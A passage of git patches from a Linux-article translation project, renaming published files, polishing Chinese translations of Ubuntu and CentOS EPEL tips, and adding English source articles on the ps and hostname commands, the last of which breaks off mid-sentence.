a/published/How to set up web-based network traffic monitoring system on Linux.md b/published/201311/How to set up web-based network traffic monitoring system on Linux.md similarity index 100% rename from published/How to set up web-based network traffic monitoring system on Linux.md rename to published/201311/How to set up web-based network traffic monitoring system on Linux.md diff --git a/published/Install Apache With SSL in Ubuntu 13.10.md b/published/201311/Install Apache With SSL in Ubuntu 13.10.md similarity index 100% rename from published/Install Apache With SSL in Ubuntu 13.10.md rename to published/201311/Install Apache With SSL in Ubuntu 13.10.md diff --git a/published/Install Ubuntu 13.10 Server Step by Step.md b/published/201311/Install Ubuntu 13.10 Server Step by Step.md similarity index 100% rename from published/Install Ubuntu 13.10 Server Step by Step.md rename to published/201311/Install Ubuntu 13.10 Server Step by Step.md diff --git a/published/Install qBittorrent 3.1.0 in Ubuntu via PPA.md b/published/201311/Install qBittorrent 3.1.0 in Ubuntu via PPA.md similarity index 100% rename from published/Install qBittorrent 3.1.0 in Ubuntu via PPA.md rename to published/201311/Install qBittorrent 3.1.0 in Ubuntu via PPA.md diff --git a/published/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md b/published/201311/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md similarity index 100% rename from published/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md rename to published/201311/Installing a Desktop Algorithmic Trading Research Environment using Ubuntu Linux and Python.md diff --git a/published/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md b/published/201311/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md similarity index 100% rename from published/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md rename to published/201311/KDE and Canonical Conflict Over Mir Finally Bursts into Open.md diff --git a/published/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md b/published/201311/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md similarity index 100% rename from published/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md rename to published/201311/Linux Desktop In The Enterprise--Ubuntu Vs. Windows.md diff --git a/published/Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md b/published/201311/Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md similarity index 100% rename from published/Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md rename to published/201311/Linux Mint 16 “Petra” Cinnamon RC Has Been Released!.md diff --git a/published/Linux Commands/Linux Pmap Command – Find How Much Memory Process Use.md b/published/201311/Linux Pmap Command – Find How Much Memory Process Use.md similarity index 100% rename from published/Linux Commands/Linux Pmap Command – Find How Much Memory Process Use.md rename to published/201311/Linux Pmap Command – Find How Much Memory Process Use.md diff --git a/published/Linux diff Command Explained With Examples.md b/published/201311/Linux diff Command Explained With Examples.md similarity index 100% rename from published/Linux diff Command Explained With Examples.md rename to published/201311/Linux diff Command Explained With Examples.md diff --git a/published/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md b/published/201311/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md similarity index 100% rename from published/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md rename to published/201311/Linux's First Space Opera Game“The Mandate”Gets a Fabulous Trailer.md diff --git a/published/Making Linux More Accessible.md b/published/201311/Making Linux More Accessible.md similarity index 100% rename from published/Making Linux More Accessible.md rename to published/201311/Making Linux More Accessible.md diff --git a/published/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md b/published/201311/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md similarity index 100% rename from published/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md rename to published/201311/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md diff --git a/published/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md b/published/201311/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md similarity index 100% rename from published/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md rename to published/201311/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md diff --git a/published/Mikko Hypponen--Open Source Software Will Make the World More Secure.md b/published/201311/Mikko Hypponen--Open Source Software Will Make the World More Secure.md similarity index 100% rename from published/Mikko Hypponen--Open Source Software Will Make the World More Secure.md rename to published/201311/Mikko Hypponen--Open Source Software Will Make the World More Secure.md diff --git a/published/On Security Backdoors.md b/published/201311/On Security Backdoors.md similarity index 100% rename from published/On Security Backdoors.md rename to published/201311/On Security Backdoors.md diff --git a/published/Options in Linux RPM Command to Query Packages.md b/published/201311/Options in Linux RPM Command to Query Packages.md similarity index 100% rename from published/Options in Linux RPM Command to Query Packages.md rename to published/201311/Options in Linux RPM Command to Query Packages.md diff --git a/published/Outreach Program for Women Seeks New Linux Kernel Interns.md b/published/201311/Outreach Program for Women Seeks New Linux Kernel Interns.md similarity index 100% rename from published/Outreach Program for Women Seeks New Linux Kernel Interns.md rename to published/201311/Outreach Program for Women Seeks New Linux Kernel Interns.md diff --git a/published/Package Management Using YUM In Red Hat Linux.md b/published/201311/Package Management Using YUM In Red Hat Linux.md similarity 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published/201311/Red Hat prepares for 64-bit ARM servers.md diff --git a/published/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md b/published/201311/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md similarity index 100% rename from published/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md rename to published/201311/Save, Access And Quickly Paste Text Snippets With This Nifty Unity Launcher Tool.md diff --git a/published/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md b/published/201311/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md similarity index 100% rename from published/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md rename to published/201311/Say Hello to Linux Kernel 4.0 and Say Goodbye to 3.x.md diff --git a/published/Seven reasons why closed source is better than open source, or so it seems.md b/published/201311/Seven reasons why closed source is better than open source, or so it seems.md similarity index 100% rename from published/Seven reasons why closed source is better than open source, or so it seems.md rename to published/201311/Seven reasons why closed source is better than open source, or so it seems.md diff --git a/published/Suse Linux Enterprise expands regular support to 10 years.md b/published/201311/Suse Linux Enterprise expands regular support to 10 years.md similarity index 100% rename from published/Suse Linux Enterprise expands regular support to 10 years.md rename to published/201311/Suse Linux Enterprise expands regular support to 10 years.md diff --git a/published/System-information tool I-Nex 0.5.4 released with improvements.md b/published/201311/System-information tool I-Nex 0.5.4 released with improvements.md similarity index 100% rename from published/System-information tool I-Nex 0.5.4 released with improvements.md rename to published/201311/System-information tool I-Nex 0.5.4 released with improvements.md diff --git a/published/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md b/published/201311/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md similarity index 100% rename from published/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md rename to published/201311/The Halloween Documents--Microsoft's Anti-Linux Strategy 15 Years Later.md diff --git a/published/The future of Linux--Evolving everywhere.md b/published/201311/The future of Linux--Evolving everywhere.md similarity index 100% rename from published/The future of Linux--Evolving everywhere.md rename to published/201311/The future of Linux--Evolving everywhere.md diff --git a/published/Trusty Tahr daily builds available for download.md b/published/201311/Trusty Tahr daily builds available for download.md similarity index 100% rename from published/Trusty Tahr daily builds available for download.md rename to published/201311/Trusty Tahr daily builds available for download.md diff --git a/published/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md b/published/201311/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md similarity index 100% rename from published/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md rename to published/201311/Ubuntu vs. openSUSE--Weighing different styles of corporate control.md diff --git a/published/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md b/published/201311/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md similarity index 100% rename from published/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md rename to published/201311/Upgrade To Linux Kernel 3.11.6 In Ubuntu.md diff --git a/published/Using Wine to Play Games On Linux？ Here’s Why You Should Switch To Steam Right Now.md b/published/201311/Using Wine to Play Games On Linux？ Here’s Why You Should Switch To Steam Right Now.md similarity index 100% rename from published/Using Wine to Play Games On Linux？ Here’s Why You Should Switch To Steam Right Now.md rename to published/201311/Using Wine to Play Games On Linux？ Here’s Why You Should Switch To Steam Right Now.md diff --git a/published/gcp – Advanced Command Line File Copier Inspired By cp.md b/published/201311/gcp – Advanced Command Line File Copier Inspired By cp.md similarity index 100% rename from published/gcp – Advanced Command Line File Copier Inspired By cp.md rename to published/201311/gcp – Advanced Command Line File Copier Inspired By cp.md diff --git a/published/ncdu – Ncurses Based Disk Usage Utility.md b/published/201311/ncdu – Ncurses Based Disk Usage Utility.md similarity index 100% rename from published/ncdu – Ncurses Based Disk Usage Utility.md rename to published/201311/ncdu – Ncurses Based Disk Usage Utility.md diff --git a/published/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md b/published/201311/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md similarity index 100% rename from published/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md rename to published/201311/ttyrec & ttyplay – Record And Play Terminal Sessions In Linux.md From fce254b748ef6d172654ac18db9315dcd551ee72 Mon Sep 17 00:00:00 2001 From: wxy Date: Mon, 2 Dec 2013 23:20:26 +0800 Subject: [PATCH 090/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ADaily=20Ubun?= =?UTF-8?q?tu=20Tips=20=E2=80=93=20Print=20From=20Shared=20Windows=20Print?= =?UTF-8?q?ers?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ily Ubuntu Tips – Print From Shared Windows Printers.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) rename {translated => published}/Daily Ubuntu Tips – Print From Shared Windows Printers.md (85%) diff --git a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md b/published/Daily Ubuntu Tips – Print From Shared Windows Printers.md similarity index 85% rename from translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md rename to published/Daily Ubuntu Tips – Print From Shared Windows Printers.md index 65a966b23b..a2baa08e4c 100644 --- a/translated/Daily Ubuntu Tips – Print From Shared Windows Printers.md +++ b/published/Daily Ubuntu Tips – Print From Shared Windows Printers.md @@ -1,12 +1,13 @@ 每日Ubuntu小技巧-使用Windows共享打印机进行打印 === + 对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户，这篇博文向你展示如何在Windows中共享一个打印机，并允许Ubuntu使用它来打印。 -几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机，但为Linux系统生产的并不多，包括Ubuntu。所以，假如你有一台支持Windows的打印机，你可以在Windows机器上分享它，然后让其它系统来使用它来打印。 +几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机，但为包括Ubuntu在内的Linux系统生产的并不多。所以，假如你有一台支持Windows的打印机，你可以在Windows机器上分享它，然后让其它系统来使用它来打印。 -在几年之前，我遇到了这个问题，那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。 +在几年之前，我遇到了这个问题，那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。（译注：除非是特别冷门的打印机，现在一般都可以在Linux进行打印操作了。在译者看来，本文的理由不成立，不过做法成立。） -我在我的Windows机器上安装了打印机驱动，然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好，但是我的Ubuntu却无法使用它来打印，因为打印机并不支持LAN。 +我在我的Windows机器上安装了打印机驱动，然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好，但是我的Ubuntu却无法使用它来打印，因为打印机并不支持LAN接口。 所以，我在Windows上共享该打印机，然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景，你可以按照下面的指导来操作。 From d62e8dcda1426bcaa9ab43d2a57ca9629f9ae106 Mon Sep 17 00:00:00 2001 From: wxy Date: Mon, 2 Dec 2013 23:26:06 +0800 Subject: [PATCH 091/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9ADaily=20Ubun?= =?UTF-8?q?tu=20Tips=E2=80=93Make=20The=20Mouse=20Left-handed=20For=20Left?= =?UTF-8?q?=20Hand=20Users?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Tips–Make The Mouse Left-handed For Left Hand Users.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) rename {translated => published}/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md (82%) diff --git a/translated/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md b/published/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md similarity index 82% rename from translated/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md rename to published/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md index e77bf5e7b6..879fade72e 100644 --- a/translated/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md +++ b/published/Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users.md @@ -1,8 +1,9 @@ 每日Ubuntu小技巧－让鼠标适合左利手用户 -================================================================================ +================================ + 电脑的鼠标被设计成使用食指（大拇指旁边的那个手指）完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时，多数情况下你会使用食指完成点击动作。 -事实上，许多左利手用户习惯把鼠标放到键盘的左边，然后用中指进行单击操作。这并不是左利手用户使用鼠标最好的方法。 +事实上，许多左利手用户（俗称左撇子）习惯把鼠标放到键盘的左边，然后用中指进行单击操作。但这并不是左利手用户使用鼠标最好的方法。 这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。 @@ -26,6 +27,6 @@ via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/ -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[Linchenguang](https://github.com/Linchenguang) 校对：[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From c67e13e7d8b7d92a5fbcc77ec3801aeba342d9f5 Mon Sep 17 00:00:00 2001 From: wxy Date: Mon, 2 Dec 2013 23:47:46 +0800 Subject: [PATCH 092/148] =?UTF-8?q?=E5=8F=91=E5=B8=83=EF=BC=9AHow=20to=20s?= =?UTF-8?q?etup=20EPEL=20repository=20on=20CentOS=205=20or=206?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... setup EPEL repository on CentOS 5 or 6.md | 41 +++++++++---------- 1 file changed, 20 insertions(+), 21 deletions(-) rename {translated => published}/How to setup EPEL repository on CentOS 5 or 6.md (61%) diff --git a/translated/How to setup EPEL repository on CentOS 5 or 6.md b/published/How to setup EPEL repository on CentOS 5 or 6.md similarity index 61% rename from translated/How to setup EPEL repository on CentOS 5 or 6.md rename to published/How to setup EPEL repository on CentOS 5 or 6.md index ce884293f8..cf7c759d49 100644 --- a/translated/How to setup EPEL repository on CentOS 5 or 6.md +++ b/published/How to setup EPEL repository on CentOS 5 or 6.md @@ -1,48 +1,44 @@ - 如何在CentOS 5/6上安装EPEL 源 ================================================================================ -（ps:这篇翻得很吃力，麻烦校对大人了 ToT） -（ps2:原文第五个链接失效，已修正） + EPEL 是什么？ -EPEL (Extra Packages for Enterprise Linux) 是Fedora 小组维护的一个项目。这个项目是一个软件仓库，为RHEL/CentOS 提供他们所不默认提供的软件包。这个源兼容RHEL 和像CentOS 和Scientific Linux 这样所有由其衍生出来的版本。 +EPEL (Extra Packages for Enterprise Linux，企业版Linux的额外软件包) 是Fedora小组维护的一个软件仓库项目，为RHEL/CentOS提供他们默认不提供的软件包。这个源兼容RHEL及像CentOS和Scientific Linux这样的衍生版本。 -我们可以轻易地通过yum 命令从EPEL 源上获取上万个在CentOS 自带源上没有的软件。EPEL 提供的软件包大多基于Fedora ，不会与企业版Linux 发行版本的软件发生冲突或互相替换文件。 +我们可以很容易地通过yum命令从EPEL源上获取上万个在CentOS自带源上没有的软件。EPEL提供的软件包大多基于其对应的Fedora软件包，不会与企业版Linux发行版本的软件发生冲突或替换其文件。 -更多关于EPEL 项目的细节可以到以下网站获取。 +更多关于EPEL 项目的细节可以到以下网站获取：[https://fedoraproject.org/wiki/EPEL][1] -[https://fedoraproject.org/wiki/EPEL][1] +在文本中，我将展示在CentOS下如何安装EPEL源 -在文本中，我将展示在CentOS 下如何安装EPEL 源 - -> 提示 - RHEL/CentOS 系统有着太多的第三方源，比较流行的比如RpmForge， RpmFusion， EPEL， Remi等等。 -> -> 然而需要时刻注意的是，如果系统添加了多个第三方源，可能会因此产生冲突——一个软件包从多个源获取，一些源会替换系统的基础软件包可能会产生意想不到的错误。已知的就有Rpmforge 与EPEL 会产生冲突。 +> 提示 - RHEL/CentOS系统有许多第三方源，比较流行的比如RpmForge，RpmFusion，EPEL，Remi等等。 > +> 然而需要引起注意的是，如果系统添加了多个第三方源，可能会因此产生冲突——一个软件包可以从多个源获取，一些源会替换系统的基础软件包，从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。 > > 对于这些问题我们建议，调整源的优先权或者有选择性的安装源，但是这需要复杂的操作，如果你不确定如何操作，我们推荐你只安装一个第三方源。 -### 在CentOS 上安装EPEL ### +## 在CentOS 上安装EPEL ## -要想安装EPEL，我们先要下载EPEL 的rpm安装包。 -CentOS/RHEL 下的6.x 和5.x 版本下载页面如下 +要想安装EPEL，我们先要下载EPEL的rpm安装包。 + +CentOS/RHEL下的6.x和5.x版本下载页面如下 [http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html][2] [http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html][3] -以上网址可能会为了获取更快的下载速度，被重定向到特地的镜像站。这页面包含可以直接获取到rpm 包的下载链接。直接的下载链接如下 +以上网址可能会被重定向到特定的镜像站而加快下载速度。这个页面包含可以直接获取到rpm包的下载链接。直接的下载链接如下： [http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm][4] [http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm][5] 根据你的CentOS 版本来选择正确的下载地址。 + 请注意EPEL 的安装包是独立编译的，所以它可以安装在32位和64位系统中。 ### 1. 确认你的CentOS 的版本 ### 首先通过以下命令确认你的CentOS 版本 - $ cat /etc/redhat-release CentOS release 6.4 (Final) @@ -57,7 +53,9 @@ CentOS/RHEL 下的6.x 和5.x 版本下载页面如下 通过以下命令安装EPEL 软件包 $ sudo rpm -ivh epel-release-6-8.noarch.rpm - or + +或 + $ sudo rpm -ivh epel-release* ### 5. 检查EPEL 源 ### @@ -79,8 +77,9 @@ CentOS/RHEL 下的6.x 和5.x 版本下载页面如下 updates CentOS-6 - Updates 1,555 repolist: 18,019 -EPEL 已经在repo 后列出，并且显示提供了上万个软件包，所以EPEL 已经安装到你的CentOS了。 -EPEL 源已经安装到**/etc/yum.repos.d/epel.repo** 文件。 +EPEL已经在repo 后列出，并且显示提供了上万个软件包，所以EPEL 已经安装到你的CentOS了。 + +EPEL源的配置安装到了 **/etc/yum.repos.d/epel.repo** 文件。 现在来试一下从EPEL 获取软件包 @@ -90,7 +89,7 @@ EPEL 源已经安装到**/etc/yum.repos.d/epel.repo** 文件。 via: http://www.binarytides.com/setup-epel-repository-centos/ -译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) +译者：[NearTan](https://github.com/NearTan) 校对：[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 5e23076595d9e4d4f3e9f91bac63cab213ce43ea Mon Sep 17 00:00:00 2001 From: DeadFire Date: Tue, 3 Dec 2013 10:09:33 +0800 Subject: [PATCH 093/148] =?UTF-8?q?20131203-1=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../10 basic examples of Linux ps command.md | 215 ++++++++++++++++++ ...ow To Display And Set Hostname in Linux.md | 142 ++++++++++++ 2 files changed, 357 insertions(+) create mode 100644 sources/10 basic examples of Linux ps command.md create mode 100644 sources/How To Display And Set Hostname in Linux.md diff --git a/sources/10 basic examples of Linux ps command.md b/sources/10 basic examples of Linux ps command.md new file mode 100644 index 0000000000..6ae3cd36c1 --- /dev/null +++ b/sources/10 basic examples of Linux ps command.md @@ -0,0 +1,215 @@ +10 basic examples of Linux ps command +================================================================================ +### Linux ps command ### + +The ps command on linux is one of the most basic commands for viewing the processes running on the system. It provides a snapshot of the current processes along with detailed information like user id, cpu usage, memory usage, command name etc. It does not display data in real time like top or htop commands. But even though being simpler in features and output it is still an essential process management/monitoring tool that every linux newbie should know about and learn well. + +In this post we are going to revise the basics of using the ps command to check the processes and filter and sort them in different ways to suit better. + +### Note on syntax ### + +The ps command comes with an unusual set of 2 syntax styles. That is BSD and UNIX both. New users are often confused with and mis-interpret the two styles. So here is some basic info to get it clear before moving on. + +> Note : "ps aux" is not the same as "ps -aux". For example "-u" is used to show process of that user. But "u" means show detailed information. + +BSD style - The options in bsd style syntax are not preceded with a dash. + + ps aux + +UNIX/LINUX style - The options in linux style syntax are preceded by a dash as usual. + + ps -ef + +It is okay to mix both the syntax styles on linux systems. For example "ps ax -f". +But in this post we shall mostly focus on the unix style syntax. + +### How to use ps command ### + +#### 1. Display all processes #### + +The following command will give a full list of processes + + $ ps ax + $ ps -ef + +Pipe the output to "less" to make it scrollable. + +Use the "u" option or "-f" option to display detailed information about the processes + + $ ps aux + $ ps -ef -f + +> Why is the USER column not displaying my username, but showing others like root, www-data etc ? + +For all usernames (including yours) if the length is greater than 8 characters then ps will fall back to show only the UID instead of username. + +#### 2. Display process by user #### + +To filter the processes by the owning user use the "-u" option followed by the username. Multiple usernames can be provided separated by a comma. + + $ ps -f -u www-data + UID PID PPID C STIME TTY TIME CMD + www-data 1329 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1330 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1332 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1377 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost + www-data 1378 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost + www-data 4524 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4527 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4528 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + +#### 3. Show process by name or process id #### + +To search the processes by their name or command use the "-C" option followed by the search term. + + $ ps -C apache2 + PID TTY TIME CMD + 2359 ? 00:00:00 apache2 + 4524 ? 00:00:00 apache2 + 4525 ? 00:00:00 apache2 + ... + +To display processes by process id, use the "-p" option and provides the process ids separated by comma. + + $ ps -f -p 3150,7298,6544 + +The "-C" must be provided with the exact process name and it cannot actually search with a partial name or wildcard. To search the process list more flexibly, the usual grep command has to be used + + $ ps -ef | grep apache + +#### 4. Sort process by cpu or memory usage #### + +System administrators often want to find out processes that are consuming lots of memory or CPU. The sort option will sort the process list based on a particular field or parameter. + +Multiple fields can be specified with the "--sort" option separated by a comma. Additionally the fields can be prefixed with a "-" or "+" symbol indicating descending or ascending sort respectively. There are lots of parameters on which the process list can be sorted. Check the man page for the complete list. + + $ ps aux --sort=-pcpu,+pmem + +Display the top 5 processes consuming most of the cpu. + + $ ps aux --sort=-pcpu | head -5 + USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND + root 1 2.6 0.7 51396 7644 ? Ss 02:02 0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 23 + root 1249 2.6 3.0 355800 30896 tty1 Rsl+ 02:02 0:02 /usr/bin/X -background none :0 vt01 -nolisten tcp + root 508 2.4 1.6 248488 16776 ? Ss 02:02 0:03 /usr/bin/python /usr/sbin/firewalld --nofork + silver 1525 2.1 2.3 448568 24392 ? S 02:03 0:01 /usr/bin/python /usr/share/system-config-printer/applet.py + +#### 5. Display process hierarchy in a tree style #### + +Many processes are actually forked out of some parent process, and knowing this parent child relationship is often helpful. The '--forest' option will construct an ascii art style tree view of the process hierarchy. + +The following command will search for processes by the name apache2 and construct a tree and display detailed information. + + $ ps -f --forest -C apache2 + UID PID PPID C STIME TTY TIME CMD + root 2359 1 0 09:32 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4524 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4525 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4526 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4527 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4528 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + +> Try not to use any sorting with the tree style display, as they both effect the order of display in different ways. + +#### 6. Display child processes of a parent process #### + +Here is an example of finding all forked apache processes. + + $ ps -o pid,uname,comm -C apache2 + PID USER COMMAND + 2359 root apache2 + 4524 www-data apache2 + 4525 www-data apache2 + 4526 www-data apache2 + 4527 www-data apache2 + 4528 www-data apache2 + [term] + + The first process that is owned by root is the main apache2 process and all other apache2 processes have been forked out of this main process. The next command lists all child apache2 processes using the pid of the main apache2 process + + [term] + $ ps --ppid 2359 + PID TTY TIME CMD + 4524 ? 00:00:00 apache2 + 4525 ? 00:00:00 apache2 + 4526 ? 00:00:00 apache2 + 4527 ? 00:00:00 apache2 + 4528 ? 00:00:00 apache2 + +#### 7. Display threads of a process #### + +The "-L" option will display the threads along with the processes. It can be used to display all threads of a particular process or all processes. + +The following command shall display all the threads owned by the process with id 3150. + + $ ps -p 3150 -L + +#### 8. Change the columns to display #### + +The ps command can be configured to show a selected list of columns only. There are a large number of columns to to show and the full list is available in the man pages. + +The following command shows only the pid, username, cpu, memory and command columns. + + $ ps -e -o pid,uname,pcpu,pmem,comm + +It is possible to rename the column labels + + $ ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm + PID USERNAME CPU_USAGE %MEM COMMAND + 1 root 0.0 0.0 init + 2 root 0.0 0.0 kthreadd + 3 root 0.0 0.0 ksoftirqd/0 + 4 root 0.0 0.0 kworker/0:0 + 5 root 0.0 0.0 kworker/0:0H + 7 root 0.0 0.0 migration/0 + 8 root 0.0 0.0 rcu_bh + 9 root 0.0 0.0 rcuob/0 + 10 root 0.0 0.0 rcuob/1 + +Quite flexible. + +#### 9. Display elapsed time of processes #### + +The elapsed time indicates, how long the process has been running for. The column for elapsed time is not shown by default, and has to be brought in using the "-o" option + + $ ps -e -o pid,comm,etime + +#### 10. Turn ps into an realtime process viewer #### + +As usual, the watch command can be used to turn ps into a realtime process reporter. Simple example is like this + + $ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15' + +The output on my desktop is something like this. + + Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --... Sun Dec 1 18:16:08 2013 + + PID USER CMD %MEM %CPU + 3800 1000 /opt/google/chrome/chrome - 4.6 1.4 + 7492 1000 /opt/google/chrome/chrome - 2.7 1.4 + 3150 1000 /opt/google/chrome/chrome 2.7 2.5 + 3824 1000 /opt/google/chrome/chrome - 2.6 0.6 + 3936 1000 /opt/google/chrome/chrome - 2.4 1.6 + 2936 1000 /usr/bin/plasma-desktop 2.3 0.2 + 9666 1000 /opt/google/chrome/chrome - 2.1 0.8 + 3842 1000 /opt/google/chrome/chrome - 2.1 0.8 + 4739 1000 /opt/google/chrome/chrome - 1.8 1.0 + 3930 1000 /opt/google/chrome/chrome - 1.7 1.0 + 3911 1000 /opt/google/chrome/chrome - 1.6 0.6 + 3645 1000 /opt/google/chrome/chrome - 1.5 0.4 + 3677 1000 /opt/google/chrome/chrome - 1.5 0.4 + 3639 1000 /opt/google/chrome/chrome - 1.4 0.4 + +The output would be updated every 1 second to refresh the stats. However do not think that this is similar to top. + +You would notice that the output of top/htop command changes much more frequently compared to the above ps command. + +This is because the top output sorts on a value that is a mix of cpu usage and memory usage. But the above ps command sorts in a more simpler manner, taking 1 column at a time (like school maths). So it would not update rapidly like top. + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-ps-command/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/How To Display And Set Hostname in Linux.md b/sources/How To Display And Set Hostname in Linux.md new file mode 100644 index 0000000000..7725403ada --- /dev/null +++ b/sources/How To Display And Set Hostname in Linux.md @@ -0,0 +1,142 @@ +How To Display And Set Hostname in Linux +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg) + +With more and more computer connected to the network, computer need to have an attribute to make it different to each other. Same as human in the real world, computer also hava an attribute which named hostname. + +### What is hostname ### + +From its manual page, hostname is used to display the system’s DNS name and to display or set its hostname or NIS domain name. So hostname is related to DNS (Domain Name System) or NIS (Network Information System). + +### How to display hostname ### + +Hostname is a pre-installed command in every Linux distribution. You can display your machine hostname by typing hostname in your console. Here’s a sample command and the output : + + $ hostname + ubuntu + +The above command will tell you that the computer name is **ubuntu**. + +### How to set a hostname ### + +Hostname is set when you install you Linux at the first time. There is a step in your installation 